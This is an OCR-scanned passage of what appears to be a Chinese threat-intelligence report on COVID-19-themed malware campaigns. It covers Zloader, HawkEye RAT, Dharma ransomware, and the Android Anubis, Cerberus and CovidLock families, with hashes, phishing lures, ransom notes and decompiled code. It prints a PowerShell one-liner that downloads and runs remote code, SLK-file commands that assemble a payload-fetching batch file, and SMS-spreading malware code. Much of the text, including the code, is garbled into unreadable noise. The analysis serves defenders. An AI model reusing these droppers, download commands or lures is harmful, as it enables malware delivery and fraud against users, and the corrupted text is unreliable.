sub_18006C71(L"8U=",

std::basic str‘mg<wchar t,std: ichar_traits<wchar_t>,std: :allocator<wchar_t>>: :basic_string<wchar_t,std: rchar_traits<wchar_t>,std: :allocator<wchar_t>>(&/111);
LOBYTE(v119) =

v3 = sub 195935F5(& 94, &v10
LOBYTE(v119) = 53
SulLlBBBGDlG(‘S, @, OxFFFFFFFF);

std: :basic_stringcwchar_t,std: :char_traits<wchar_t>,std: :allocator<wchar_t>s::_Tidy(&/92, 1, 8);
LOBYTE (v113) =

std::basic_stringowchar_t,std: :char_traits<wchar_t>,std: :allocator<wchar_t>>::_Tidy(&/105, 1, @);
memset (& onInformation, @, @x11Cu);

PIELEIETE R AR R B AR

B EMBILIELE AR TAPTH AR IFE MSFHEMY , BEXAMMHIARN , IMEHEEEAE ,
RUARIEFIRBE K. ERIEHE , MRS R AENEE T, BEEHEENERMA
T

MATRFEIKARRS , ARHEshER— , BATRURKD S, MK FE LS TER.

ta XA B S

RN B E T R E RN —FRiE A , REETRRIEFEEESREEPITHRHH
f, N HIREFETEN. LT ABAFRRERRFES @ ERE D KR REEM R AR
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X% MD5
N4 2.eml

MD5 d5930a9698f1d6aa8bb4ec61alelb314

b4 COVID 19 Requisition.xls

EHEARD Zloader

ZEMFERA IR ERMERER , FHTENM AT AER HER R BN E R SR EEDITH G

=1" |5 COVID-19 Hospital Visit - Message (HTML) | B [
File Message & e
i Reply : ¥ €
ga Reply E 2 Create New 3 -'JE v gﬁ _.'
S Renly R A
=@ Reply All .
Delete ., B —|| Move - Tags | Editing Zoom
==Y Forward - - - -

Delete Respond Quick Steps . Move Zoom
From: Pauletta Flam <Pauletta,Flam0296232 @gmx.com = Sent: Fri3/20/2020 1:43 AM
To:

Cc
Subject: COVID-19 Hospital Visit

-] Message | E]COVID 13 Requisition.xls (102 KB}

This is an anonyrmous email, asked to be sent to you to inform you about the £
possibility of coming in to contact with a family member/colleague/neighbor who -
has contracted the COVID19 Virus in your office/area. =
A test at your nearaest hospital will be done free of charge provided you bring the
printed out form we attached to this email, more information and your details are
attached on how to proceed.
-
N

Pauletta Flam

fiff4 COVID 19 Requisition xIsFBEEENER , —BRAFRITHAIEIER , EENAABE2NTE
TR FFIE S rundlI32.exe AT

“ncwner”, @)

a"SCEIi 1639$GUE11548FB4523GUE1700$E 7413804 (M348581Y$103

", $IY$1281, @, @)

TERITHI 2 f ) Zloader
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runenon name Format Portable executable for 30386 (PE)
Imagebase : 400000

Timestamp : SE735076 (Thu Mar 19 11:54:30 2028)
section 1. (virtual address 0901000

. text: 00401000 ; Virtual size : 90048098 ( 307355.)
text:00a01000 ; Section size in file 00045200 ( 307712.

. text :00a01000
| text:00481000 ; Offset to raw data for section: 00800400

[F] sub_401000 . text 100401000 ;

. text :00461000

Flags 680@0020: Text Executable Readable

Alignment

PDB File Name : <:\contain\contain\except\happen\flat\corn\toward\BringThere.pdb
05 type M5 Windows

Application type: DLL 32bit

. text:00401000
. text :00401000
. text :00461000
. text:00401000
. text :00461000

. text 100401000 include uni.inc ; <
. text 00401000

alizer for ‘wiout"(void) . text 100401000 -686p
. text :00401000 ~mmx
. text 100401000 .model flat

. text 100401000
. text ;00461000 ;
. text :00461000

. text:00461000 ; Segment
. text:00461000 ; Segment
. text:00401000 _text

Pure code
Read/Execute
segment para public "CODE' use32

. text ;00401000 assume Csi_text
. text :00461000 rg 401060h
. text ;00401000 assume esinothing, ssinothing, ds:_data, fsinothing, gsinothing

. text :00461000
. text :00461000
text :00461000

. text :00461000

| text 100461000 sub_401800 proc near
. text :00401000 push
| texts
| text
| text:
| texts
| text:

| texts ;
sub 402010 text :0840100C align 16h

SUBROUTINE

5 DATA XREF: t
sub_24C020 ; void (_cdecl *)

mimFI A

N4 Malicious Content Detected CORONA VIRUS AFFECTED VESSEL TO AVOID.msg
MD5 9b389a1431bf046aa94623dd4b218302
M4 CORONA VIRUS AFFECTED CREW AND VESSEL .xls

ZHEARS HawkEye RAT

REF A DARRMINEL , EE—LEBEREITER  HFERIFEITHE , BERESR
RS TEIC

Fom  odhesthorguzaton sent 2w 2589m

] CORONAVIRUS AFFECTED VESSELTO AVOID

Dearsi,

nviewar ncav dsose

Snbss, ADVISORYON 2010 NOVEL CORONA VIRUS - FES.

Snbsp INSTRUCTIONS TOSHIP MASTERS BY WHO AND PORT AUTHORITY

Ay s et e monerede b s

40PPE ktfornfctius i masks PPE ki

gene.
Al shore e ar b et st né msbng oo oy
o avodnan-£cserta wetas o 2.

10 Keep

Best Regards =

Ws Monika Kosinska

Programme Manager, Govemance for Health

Division of Policy and Govemance for Health and Well-being
(O Regional Office for Europe.

UN City, Marmorve; 51

DK.2100 Copenhagen, Denmark

Tel: +4530 17 1508

Fax +45 30 17 1860

“mailerimbealthvritiss@who int

G R ARG RIAF A  PITEE TR T
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TrhsiE
v
Vi
/

[=2
+

iHE

5] ST COWindows\system32\sass exe

=] #%{T"C\Program Files\Microsoft Office\0ffice 14\EXCEL EXE” C\Users\ADMINI~1\AppData\Local\Temp\0adsft
08e5178116/b40Mc258242867abb7eedt xIsm1
= =547 C\Windows\system32\svchost exe -k DecomLaunch

= #<4T7."C\Program Files\Common Files\Microsoft Shared\ EQUATIONIEQNEDT32.EXE” -Embedding
=] BE2fT.cmd /c ren %impY\yy vis&cscript %tmp\yjs OOC
B8 #&<{T.cscript C:\WUsers\ADMINI~1\AppData\LocalTemply.js J0C

Windows\System32\cmd exe" /c cscript C\Users\ADMINI~1\AppDatalLocal Templcx vbs
#4547 cscript C\Users\ADMINI~1\AppData\Local Templovbs

5] -

BRI WA Bl — P hawkeye 21T B AR B AT

0)

(GEnun

## ER BN PESC

X% W.H.0._CORONAVIRUS(COV,19) SAFETY&PREVENTIVE MEASURES.eml
MD5 £75c658265dd97c22c6ba3b99f50ch78
b4 WORLD HEALTH ORGANIZATION_PDF.gzs
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EHEARS HawkEye RAT

PATRS A tiE TABERAAAFE AN 5. BRFARA LT

S - WHO. 0119) SAFET MEASURES = Message (HTML)

S - D Mo )
) Wonenae (3 Eg & A DReates - O
"

Move [ Actions - | Mark Categorize Follow | Transiate Zoom
T Badonst | s T Y T L seea -
1o diting

Subject WHO.C (BPREVENTIVE MEASURES

| Message S WORLD HEALTH ORGANIZATION_PDF gz (2 MB)

DX World Health

M . n
%Y Organization

N

Vor[dl Healt
Irganizatio

HOp ittt DALFFFRIRM AP A R DAARY BE AR — L@ RN, BT DARE SR
REBAR |, EMREELZAPITHAF R

M E— Moader , BT E— N HITIUHFENEIRegAsm.exe T

(FFFFFFFF
(FFFFFFFF

EAPATH A I T B F LA D Hawkeye RAT , BBWEIER |, iEf2shell , EICRKFEETNRE
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Windows & X ES)
WEBEEARF , BRIEEGRIEHEIOR TAICEAHS |, BT ERE S TERE.
IEPAES

LS ELEENTREN LI, R FENSERARA REREE |, m—2E =Rk g5
BN AR, EIRRIZR.

WRBHFHFE—RABIE” , BN, “ARFEEXRRTAE , BORIBEHHREAEENT

EIEAZ MD5

iE : HET A RS O i
T BR27ER TR ERE] , FEA AR RS A fb5f82e67745216ad87d92a8d9a5¢3d8

% .exe

TERER AT 2 2 B-1.exe 3a0a6dbc2ba326854621f3baf87f611c
FERE & KIETTIR A2 4 52.exe 87ad582f478099a6d98bf4b2527d0175
2 EZE TTRER AWK XX FEIRT] S exe 258eda999b9ac33c52b53f4d8c77dcb0
AE Mg K BIE.exe 72ecf3804af2d9016fa765a708e25b7¢c
FEREZMER N[ R TR RS RIS dcOb5e263ce35f03ccdb097ba8c76d9d
NE)EEBAATEIR T exe 52316b66ced3426d244735d26fa0e259

MREARERRT
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FFEREEMERAAE LRSI ASEREN.exe
L (T HER

SEEREAEEIIhEE R exe
7. R

FEREE AR ER - 1.exe
), R

ARIEEEN BT B .exe
L (T HER

OSHERFIE.exe
=H: i FER

RS XS EABRAATRIET |, WERAFARIARAR ARSI TF M, [ENYELS. Bl {FSkype, BMPE]
A, BENEIREE LEMR. G635 AREARTRE. BoEARD KGR E BB KKIRTE |
HABAHARHXHREE EH) ; BN BEHAER T BIRMEFERRDS  FMERNT ¢

3 oY =
[=a] {mvrzl;g | s ETRE S Eﬁrza u |
B & /

2 /
SR Shonsock tctosott. BREISIER
|

@ 28 S i st

R o © 659200 Tt R
T o
{82 2000/2/18 17:38 #HEN mm/z/u B
EE @ E & i@ss EE
[ - RO Tabadon o
e ey - e
[ A A W [ mA | smw [ BA )| 5K BA ) [(ERW

A EMAE R BIE.exe” B, HABITESERNFTRRE—PEXH , BEXHK,

i ®| 012819F1 59 pop ecx
| e| 012819F2 SF pop edi
i ®| 012819F3 S5E pop esi
g e 012819F4 5B pop ebx ebx: "PE"
! @ 012819F5 8B ES mov esp,ebp
! ®| 012819F7 5D pop ebp
' ®((012819F8 c3 ret
L--oe| 01z2819F3 8B 4B 50 mov ecx,dword ptr ds:[ebx+50]
®| 012813FC 8B 53 34 mov edx,dword ptr ds:[ebx+34
@ 012819FF 8B 3D DO F3 2C 01 mov edi,dword ptr ds:[<&virtualAlloc=]
®((01281A05 6A 04 push 4
®( 01281A07 &8 00 20 00 OO push 2000
@ 01281A0C 51 push ecx
@ 01281A0D 52 push edx
®((01281A0E FF D7 €all =di
| ) | rd I

edx=0 _

dword ptr[012E7014]=100 L'A’

. Text:01281A90 OEWELRFIE. exe: $1A90 #E90

W | gimrre | euprrs | wupfe | wimrs | @ | 2 g |
[ +Ew e ASCII
D12EGF5S| 40 0D 00 00 40 00 0D OD|2E 3F 41 56|@
012E6F6S8| 43 43 6D 64 65 74 40 40|00 00 0O 00
012E6F78|90 68 2D 01|00 00 2E 3F 41 56|43 57 69 6E
012E6F88 |54 68 72 65|61 20 &3 2D 01
012E6F98| 00 D0 0O 00
012E6FAS| 40 D0 00 00
D12EGFBS |43 4E 42 3
012E6FCS |@amaan 00
012E6FD3 |30 30]90 00|03 00 00 00|04 00 00 OO|FF FF 00 00
01ZEGFES | BB U0 00 00|00 OO0 00 00|40 00 00 00|00 00 00 00
D12E6FFS| 00 DD 00 00|00 OO 0D 00|00 DO 00 OD|0D 00 00 0O
012E7008 |00 OO 00 00|00 OO 0D 0O|00 DO 00 00|00 01 0O 00
D12E7018 | OE 1F BA OE |00 B4 09 CD|21 B8 O1 4C|CD 21 54 68|..°.. .
D12E7028|69 73 20 70|72 6F 67 72|61 6D 20 63|61 6E 6E &F|is program canno
D12E7038 |74 20 62 65|20 72 75 6E|20 69 GE 20|44 4F 53 20|t be run in DOS
012E7048 | 6D &F 64 65|2E OD OD OA|24 00 00 00|00 OO0 00 00|mode....$.......
D12E7058|4F CA 70 73|0B AB 1E 20|0B AB 1E 20|0B AB 1E 20|DEps.
D12E7068|C8 A4 41 20|0A AB 1E 20|70 B7 12 20|08 AB 1E 20|EHA .
D12E7078 |64 B4 15 20|0A AB 1E 20|88 B7 10 20|OF AB 1E 20|d’ .
D12E7088 |64 B4 14 20|OF AB 1E 20|64 B4 1A 20|09 AB 1E 20|d .
012E7098 | 0B AB 1E 20/0A AB 1E 20/0BE AB 1F 20164 AB 1E 20/ .«.

KPESC I BERUAK) RIKIRIT T
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GetModuleFileNameA(@, &Filename, Ox184u);

F]

F]

wsprintfA(&BinaryPathMame, as, &v23);

w23 = "C";
wad = "27;
w25 = AN
V26 = "W';:
w27 = "i";
w28 = "'n";
v29 = 'd';
w38 = "o";
w3l = "w';
w32 = "s°;
w33 = "\
wid = "s°;
w3k = "w';
w3 = "c';
w37 = "h';
w3iB = "o";
w39 = "s';
vi@ = "t ;
vdl = ".";
w2 = g
vi3 = "x";
vidd = "e';
vads = 8
phkResult
hservice =

ms_exc.registration.TrylLevel = 8;
v3 = OpenSCManagerA(@, @, @xFO@3Fu);

hSCManager
if ( v3 )
1

hService = CreateServiceA(

<l

W3,
1lpServiceName,
1pDisplayName,
@wFalFFu,
axlleu,

2u,

lu,
&BinaryPathName,

¥
¥

¥

)s
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cdata:100-=- OOO00OZD C Applications’ilexplore. exe’ i shellhopent i command
. datazl00e 00000009 C BEEr

. data; 100+ 0000000QF C BaiduSdSve. exe
. data:100e 00000005 E Es-u
cdata: 100+ 00000010 C ServlDaemon. exe
.data: 100+ 000000O7F C TEIEI

Cdatar 100 0O0D000S c DUE. exe
data: 1000 00000002 C TE1433
data 1000 00000002 C 1433, exe
.data:100+ 00000007 C FEHTAE

data: 1000 0O0O000E C 5. exe

.data: 100+ 00000009 C M EE

. data; 100+ 0000000QD C MSSECess. eie
data: 100 0O0O0O0E C QUICE HEAL
data: 100 0O0D000D C QUHLESYC. EXE
. data: 100 00000009 C ity
cdata:100-=+ 0000O000A C WaSwe. axe
.data: 100+ 0O00000O7F C =iE

. data:100-=- 0000000E C patray. exe
.data: 100 00000009 C EEEEE

o data: 1000+ DOO0OOOC C Afhzent. aye

. data:100--+ 0000000S C mETh
cdata:; 100+ 0000000A C Miner. exe
.data: 100 00000005 C R

data 1000 0O0D000C C TMEMSEY. exe
data: 100 0000000S C =1

. data:100-== 00000000 C knsdtray. exe
datal00e-- 0O0D000F C 0. exe

data: 100 0O00000O7F C ETES

o data: 100+ 00000010 C ErTSeourity. exe
cdata: 100+ 0O0OOOOE C o] 2] =i
Cdatar 100 0O0D000C C QUPCRTE. exe
data: 1000 00000002 C =P L
cdata: 100+ 00000004 C k=zafe. exe
data: 100 00000009 C ElnEE
cdata:100-=- 000QO0O0OC C rtvscan. exe
.data: 100+ QO000DOOE C brastfliE T
cdata:100-=- 00O000OC C ashlllsp. exe

. data: 100 0O0O0O0E C Aorirals] 8] <)
cdata: 100 00000000 C arocenter. exe
. data: 100 00000009 C FEH
~data:100-=+ O0OOO0OOC C kxetray. exe
data: 100 00000006 C winzz
data:100-=- 00000003 C egul. exe
.data: 100+ 000000O7F C Emnd

WindowsEh &4

PFRE , EAMBFETMNEN—FIIYREAD , B%DBCREME. REF[AR. MRED, W55
RFSFEALTER. S BEIHTRSLE , BRELERSHCHEMEBERIABEY , 3R
—MFRNESR , BRPTUESBRERAREENXHY , SAPERTUEAGERRK. BRFEEE B
SAFRNE T EZMS R INBRIEA GBI RMNEX S | LASBIRUATEBS AFERME , &
ME RN N AR EFLAA B T RET A RN B . BB IER BT XHHMITARNRZERFHREHD
e , XS MNBE BT R , —BIEPIR , RtEEERX.

BAEHIE) , ZIHFRMITHAT MRS EHEITERE , BEDharma/Crysis , CXKESR#IZR , Android#
7F , HP— 8RR ECE B0 64 ACOVID-19 RANSOMWARE
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GRS EPS PN TS ST

Xt
SAMPLE.EXE

2020.1.102020.1.23Information
onTravelers from Wuhan China to

India.zip

COVID-19.exe

PACOVID-19.exe A5

MD5

055d1462£66a350d9886542d4d79bc2b

f94d84da27bd095fdeaf08ed4f7d8c9a

6245712b2f127a1595adab16b8224faf

LIEE NS

Dharma

CXK_NMSL

COVID-19
RANSOMWARE

ZHEARCHRE | fen=ERmLE) T REEY , ZKA FEcultureland.]co[. Ikrg3K 1000085 TT(24157 AR
ML AR AR A EEIAD T A EHIBFE.

ZENHT  GEEABUER R, REERER— " REIR”

HARETRASERNMNER PR3 /\z:?ﬁ-'ﬂj—

MNMENEA , FHRRAFRTEE B R ERA ERBTEINRRER. EESEESTRXHTRER

RPAT,

[22L+ 19 RANSOMWARE

7 Read Mt - B85

R SEE 1RO BBV E8H)
[COVID-19 RANSONWARE]

Ocps, your been infected with Lanson by COVID-19 Ransommare.

Just do_ st 1 you to do.
Then I 11 211 your file:
But if yo
Tou wan t

eicss, by 10,000 KN = culyrelond.
enc e to s tloes 0515@9
ve

Sect
T ehenh shecode and s

It's not safe to stay home!
(Good Luck
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P2 T, Dharma ZKIGIEEAF RIS MSAMPLE EXEA 27 IR "M RRE , BAE1TE , ¥ tE
MUETE XA - [JRIE30 44 ].[id].[coronavirus@qq.com].ncov

FRAE#MERRR , BKA A ZEHMFE]coronavirus[ AT]qq[. JcomB TR F .,

&)

All your files have been encrypted!

Al your files have been encrypted due to a security problem with your PC. If you want to write

Write this D in the title of your message AT

In case of no answer in 24 i i

You have to pay for decryption i Btcoins. The price depends — fast you we to us. After payment we vil send you the decryption tool that wil decrypt al your fies.

Free decryption as guarantee
Before paying you can send us up to 1 fie for free decryption. The total sz of fles must be less than 1Mb (non archived), and fies shoukl not contain valuable information. (databases, backups, large excel sheets, etc.)

How to obtain Bitcoins. (€I@NIYc - uticioocument
The easiest way to buy bicons s LocaBitcans ste. You have to register, dick 'Buy bitcons, and select the seler by payment method and price.
. ERv  @amEev  xEv AR
s co
wa mbuyEm Tl rsgd here: T =
a) tid-9ACIAAST @qgcor.
"

Attentiont = e

+ Do not rename encrypted fes .

« Don jecrypt your data using thrd party software, & may cause permanent data loss. bl

« Dearyption of your fies vith the help of thid parties may cause ncreased price (they add thef fee to our) or you can become a victim of a scam.

7y

LASEHBMKSERRE  ZEHT —MESHML , WATERE. HHTE. X, TABRE,
LS ARANVEETREFWEN |, SIRNZEEENRROE. BEXRERAKNER , ﬁﬁf&
R e MIEIE T EXRMME ., LBl UG 20 " RERRER , 0 T"#i% | FIESil

K. B, EEREBREZ QR AKETIRNENGEH LXMW _ TRV AR DR F AT
RS, AEC RS,

&iEHAE , MBRNES FUNBRERREE 0 AEE | 8 7T KEZ Wiz iER, #AEE0T
REEETTIRIREIEE exe d8f6c6684546ef19d8373f3bc9f1185

ZAREIZITREE—ANF105ME1 T — IR TIHES , EZEThEER Mhttp[:1//t.zer2.com N &% E3CHFE!
A FF N Epowershell P NI T,

= sz 8¢ |2k [e= |EmczEsA)

SERIER , WEEAZEENTRENEE, SESRMME, 5 B S0TTEEREN.

BfE HHAEE
BEEF powershell -nop -ep bypass -c "[EX(New-Object System.Net.WebClient).DownloadString(\"http://t zer2.com/ipc,jsp?h\’)"

TEESRE T E — NS B shellcodef{powershel AN |, F&shellcodefi# LIS EIME T /K IE Z # IZH
.,
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22018t P QLG R

EEZNIMAKERE TRV RTEREREMTEANR , BEAFHIEAT NEREE | iRIEIBM
MHTR . APRXSsRE LRMEERERENEREM=(F , MREREXZRAFINEAIREE
FEERT , MAMEHE. BUFESIRRIESSNHRE  REMRETTEREIN. 04, Bohke
ELNUIBDMAFINRENEE , BRIt skl a2 BN ERMKR , EEFREIE
RKEE,

FERAEIAE | Android AThthARAKH HLEE FEAD 2 "BOBE . /> Android AR D " Fi I & A7 T
3% | AIEEEAndroid KD R EAnubis, Cerberus (HRR) . FAUAD RikCerberus, SMSEFHRAK
CovidLock¥N'RTREFF.

Anubis
14 covid-19.apk
MD5 2C522F3527DEF8AC97958CD2C89A7C29
B4 wocwvy.czyxoxmbauu.slsa

Bl bR f

AR ETE R AnubisiRIT AR D AFRURA T Z BIHIENRE , AR ORUTIEAER , #18, BIREHETEER
W, BRRAREBAAXRBER  BAAM. AEZAET , Aok EERMEFRET A
%, MEREEEFERT RENT , HRRC2HAXMLEHITT K.

Cerberus
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14 Coronavirus.apk
MD5 B8328A55E1C340C1B4C7CA622AD79649
B4 hdjro.nzagrgffealnhmorwihd.mfukiybfx

E7N

Cerberus KB SHERITAD—HINBEARZ , MEBRTHE—EE TSIz HTHAE , TTRURIEE K
AR FERFITREABENSE |, M_EEEENSAMIK , CRELFET T AnubisfIFEEA |, BT BaTE
R KEARITAR S,

Cerberus KB E1TIA G FEIRA PR S BHE . BB SEF. LS EARHTEIRRIP.
Cerberus KBAFEFF HEAFAFHFERE. BRERK. FNERKNNAEE. gnall58%. o
Cerberus KSR A] ABHER A AFHLES | BRIETFINEEH |, SRERVA FBATIKS . B EEIRME , FHoTRUa
i¥ Team Viewedt{Timi% .

HIAFHNITATINRES IR T

mIEES ESEX

grabbing_lockpattern FRAF B RN TR

request_permission SRR BIER

run_admin_device BiTiEEEERSE

URL EWebViewdhiTHiESERMURL

ussd EAEEMUSSDILE

get data logs RNZERIEE FOEEMAEEERS,. Bills,
==

grabbing google authenticator2 #Fillgoogle T RISHFMARIERE

notification EEHSENMER, nE, A8, ERFEE,

grabbing_pass_gmail M ERIEE FRgmailiER

remove app ) | izl E= 3 53]

remove bot BERHLEA

send sms RiEEE

run_app BiTE MR A

call forward SEERIF IS

patch_update BT

run_injects emails FAGEA B FEME R ERKSEZRER

run_injects_banks FIGEARRETAANKSERER

SMSiEH

X4 CoronaSafetyMask.apk
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d7d43c0bf6d4828f1545017f34b5b54c

com.coronasafetymask.app

B3I

HAIEITIE , SFTIFFELH EMRF & https[:1/masksbox[.Jcom , Z=AGTEUR P KA A KRS H1%E
.

methed public onClick({view)w
.registers 2

2esgeeae  const-string pl, "https://masksbox.com"

segeoeas  invoke-static uri-»parse(stringjuri, p1

2g2g2e2s move-result-object pa

2egegeal  new-instance ve, Intent

sgggee1e  const-string vi, "android.intent.action.VIER"

segeeels  invoke-direct Intent-»<init»(string, uri)v, ve, vi, pi
gesgee1s  ipet-object pl, pe, Mainactivitydil-»thisge:Mainactivity
geeeeelE  invoke-virtual Mainactivity-»startactivity(intent)v, p1, ve
gep2pe22  return-void

.end method

RN , GEEREFERUSMSIEEN A B AL B EXRFTBA. BIENBA : Getsafety from
corona virus by using Face mask, click on this link download the app and order your own face mask —

http[:]//coronasafetymask].]tk

invoke-interface  Cursor->close()v, ve
iget-object ve, pe, MainActivity->Lst:list
invoke-interface  Listorsize()I, vé

nove-result e

const-string
const/16
if-1t

if-ge

nen-instance

move-result
invoke-virtual
move-result

tList

iget-object V8, pe, MainActivity->Lstilist

invoke-interface  Listorget(I)obiect, vs, ve

move-result-object ve
check-cast ve, str
invoke-static sms

move-result-object Vs

const/a V7, @
const/2 ve, @
const/ vie, o

ger->getoefault()snsianager

const-string ve, "Get safety from corona virus by using Face mask, click on this link download the app and order your own face mask - http://coronasafetymask.tk

move-object 3
invoke-virtual/range Smswan,
invoke-static Log->d(5tring
add-int/lits V1, v1, 1
goto 6

FN#HRBA

Xt
MD5

(2E

er->sendTexts
ng, String)I, v2

lessage(string, string, String, Pendingintent, PendingIntent)V, vs .. vie
L e

Coronavirus_Tracker.apk
D1D417235616E4A05096319BB4875F57

com.device.security
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7N

GEIAARDR—EBRAT—H , BITERARAFEREEHES | ZEEHX R AFETHR , 5
SRR PFIMESER , RN AAHTHR. BRRGBMEES/NT 2 NFE 100K THPLET , &
NMEBEEAPFIAAER. BRFEMNT

YOUR PHOME 1S ENCRYPTED: YOU HAVE 48 HOURS TO PAY 10035 in BITCOIN OR
EVERYTHING WILL BE ERASED

1. What will be deleted? your contacts, your pictures and vid Il social media
accounts will be leaked publicly and the phone memory will be completely
erased

2. How to save it? yo a decryption code that will disarm the app and
unlock your data bac vas before

3. How to get the decryption code? you need to send the 1005 in bitcoin to the
adress below, click the button below to see the code

MOTE: YOUR GPS 1S WATCHED AND YOUR LOCATION IS KNOWMN, IF ¥OU TRY
ANYTHING STUPID YOUR PHONE WILL BE AUTOMATICALLY ERASED

“ enter decryption code
.

DECRYPT

—— ——

—

AR ARYERD R AL IERE AT | BA/INOPIR |, ATIBIE 4\ “4865083501“BH THEH]

private void verifyPin{) {
t v@ = this.secretPin.gatText().toString().trim();
if(T t -1sEmpty(((Chars weyd) {

ast .makeText{( (Context)this), ter decry [ s B).show(]);
y
if(ve.equals(" 3581")) { M—
sharedpPref neesutil. setautherizeguser((( extythis), H
Toast.m Context)this), “Cong You P Decrypted”, 8).show();
this.Finish{);
1
else {
Toast.makeText(( (Context)this), “Failed crypti de is Incorr » @).show();
3

Page 40 of 50



https://ti.gianxin.com /blog/articles/coronavirus-analysis-of-global-outbreak-related-cyber-attacks/

B IR

FRFAMREANRERIFAREF |, BT RRHRSN , SRR USRS AR A, 20
SLK,CHM% , IZAF A BT 2 BT AR GHARSRER I TEHE | EET ATHEERMHRIERMY |, i
Al e b B

SLK

Y, EAMEBRIIAER | B2 MRS REEsBIEGLY , a7 R(FENIRE E AR — 515
FFIRIEIN (slk) FERARFUERIGE SRR,

Symbolic Link (SIk);2 —FMicrosof SLEFHET , % AT Excel kG EFEIE , REFAX—HHEEEER
powershel FKESARINEF | Y AExcel i TN |, EEARBEHERITESR, BTXEEARENL , LA
F—ERENRRYER.

13 \ (1) 13 engines detected this file

. 4

31e3a1647cdd5cbT15c751a6325310ac21e670370a22907bbEdSTBI3b19a54fe 476 KB 2020-03-21 14:3413 UTC =
COVIDCompany slk
text
DETECTION DETAILS CONTENT SUBMISSIONS communiTy
() 202003-21T143413 ~
Ad-Aware (D) Genenic.SLKDIar.1 3280267F ALYac (D) Generic SLK.Didr.1.3280267F
Arcabit (D) Generic SLK Didr.1 3280267F BitDefender (D) Generic SLK Didr.1.3260267F

RIEARERINT

X% COVIDCompany.slk

MD5 €92d7a5ed21c5504316e046875d07444

FRSCARIETINAX M, °] W R Tpowershel fA A IZAZERER AT

P;ECalibri;M220:SB:LSS

P;ECalibri:M220:L18

P;ECalibri;M220;121

C:;Y¥76;X1;K"nxFsm"™

F;Y324

C:K33{EEKEC ("CmD.gxe /g EChO|SEr /p=""fecho offewm™ig PIe ces”s ¢ all ci sat’e 'Ms"">iappdatat\nxFsm.bag")
F:Y32

C:R33EEXEC ("CuD.gxe /¢ Beche offéping 1sEcHo|ser /p=""Iexee /ihtip”:*/*/*iavest"">>%appdatat\nxFsm.bat")
F;Y32

CrK33;EEXEC ("cmD.sxe /¢ @scho 0ffsping geping 2sEcHols’st /p=""invoupxoisst-gom/blocked.php "">>tappdarat\nxFsm.bac”)
F;Y32

C;K33JEEXEC ("cmD.gxe /g @echo offsping asping 2&ping 4&EcHolget /p="" ~/g'"">>%appdata3\nxFsm.bats%appdatas\nxFsm.bat")
F:Y32

C:KTRUE;EHALT ()

P;ECalibri;M220:L6l

P;ECalibri;M220;Lé3

P;ECalibri;M220;5B;L64;K"nxFam"

P;ECalibri;M220;SB;L53

P;ECalibri;M220;L53

P;ECalibri;M220;SB;L10;K"nxFam"

P;ECalibri;M220;L11;K"nxFsm"

P;ECalibxi;M220;5I;L24

P;ECalibri;M220;5B;L2

P;ECalibri;M220;L10

wfE , %2 HInetsupport manager JEAE I B EEG HBIT R KITHIZEEITEAN

Page 41 of 50



https://ti.gianxin.com /blog/articles/coronavirus-analysis-of-global-outbreak-related-cyber-attacks/

ext:60461000 ; | Copyright (c ) 2017 Hex-Rays, <support@hex-rays.com> |
ext:00481000 ; | nse info: 48-3FBD-7F@4-2C I
ext:00481000 ; | hang Ying, Personal license I

Function name:
7] sub_401000

Input SHA256 : 49AS6BFBACLL173E3ABDTECFF6BC1DABIBDF2C3SCEDES570177422F142DCFDBES
ext:00461660 ; Input MDS i BD97GOFF7DICEIBD376EG1912(734FBA
Input CRC32 : 2004524F

Fil

00401000 ; File Name : E: \mal re\ag\fonthost. exel

00401000 ortable table for 50386 (PE)

80401000

80481000 (Fri Jul 31 14:42:28 2815)

80401000 ess 00001000)

80461008 : 6e0GOOBO (  176.)
: 80080260 (  512.)

:
:

: section: @ee00100
; Flay g EBBBEBZB T xt Executable Readable

5 Alignment default

1@g401000 ; PDB Fl.le Name [: E:\nsmsrc\nsm\121@\121@\client32\Release\client32.pdb
160401000

160401000 ss6p

Hi
i

§
:

mmx
00461000 model flat
180481000

CHM

CHM (Compiled Help Manual) BI“E4miFpFEEI 4. BHEH —ROTESHER , FIFAHTMLIER
X, IEFBBRNA SR R R m iR E7F. CHM¥ FFJavas cript, VBs cript, ActiveX, Java Applet,
Flash, & WEJESLH(GIF, JPEG, PNG)., A AMID, WAV, AVDFEE, FTIAEERZHMAMR
o, CHMZERITHTFH , BIRGEENRL.

A RAFL AR CHMAE AR E R T

X% MD5

Eeskiri-COVID-19.chm 6c27a66fc08deef807cd7c27650bf88f

BChmRmEZ 7 , 22— NEERHTMLY K shelmaiZiz KD,

tmp:
tmp2 = 2;
tmp3 - tmpl ¢ tm

LNK

LNK;ZMicrosoft Windows A FF§18) ] 47304 5 i FFE FFBRAE A SISO R, LNKXUHFRE
BT tIE s MamiRiE AR, LNKARLINK, LNKIZAE DUS T B S BAR S &5y, Fk4]
TERAERR BRI LNKAE AN T

X4 MD5

coronavirus.doc.lnk 42c6b1b0e770887c461c51002b3b71d2
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LNKEEARSKFRITRRSEANE<Bi>FRY , I SBAEPITLNKIUHRNRIFNETT , REKE
FREVEKNE , <Bi>FRPRLEBRTNGS. FTBEGSRINE k2 B MLNK R TR S A
B FFPHRITE S shellcodefl VBS KL,

[ | 22041, 30976, 30276, 32400, 28929, 31329, 32400, 32400, 32041, 30625, 32400, 32081, 31684, 32041, 31684, 32400,

31329, 32400, 31329, 30976, 30625, 29929, 31684, 28534, 32400, 32400, 29584, 32041, 30625, 30625, 31684, 31684,
e | weE == 30276, 30976, 30276, 32400, 30625, 30276, 31684, 32041, 30976, 30976, 30625, 32400, 31684, 30625, 31684, 29584,
e 30276, 32400, 32400, 31328, 32041, 30625, 30876, 28323, 29584, 29823, 31684, 30376, 30376, 30276, 29929, 30876,
30625, 30276, 32041, 30976, 30276, 30625, 31329, 32400, 30276, 31684, 30625, 31329, 31329, 30625, 32400, 31624,
30976, 31684, 29929, 30625, 32041, 29929, 32400, 30376, 30276, 32400, 32041, 29584, 29929, 29923, 32400, 31329,

4 coronavirus.doc Bt

1 coronsvirus. doc

g 52041, 1684, 31529, 51329, 31654, 29584, 51654, 31529, 50625, 32400, 31684, 51684, 30975, 52041, 30976, 30625,

[ 31329, 29584, 32400, 31323, 30276, 31684, 30276, 32041, 29923, 29584, 32400, 31329, 29929, 30625, 29929, 31329,
a 1684, 31329, 30276, 30276, 30976, 32041, 29923, 30625, 30625, 32400, 32400, 30276, 29584, 30276, 31323, 32041,

B 29584, 31684, 32041, 30976, 29929, 30625, 30976, 30976, 29584, 30625, 32400, 29929, 30276, 29929, 32400, 29584,

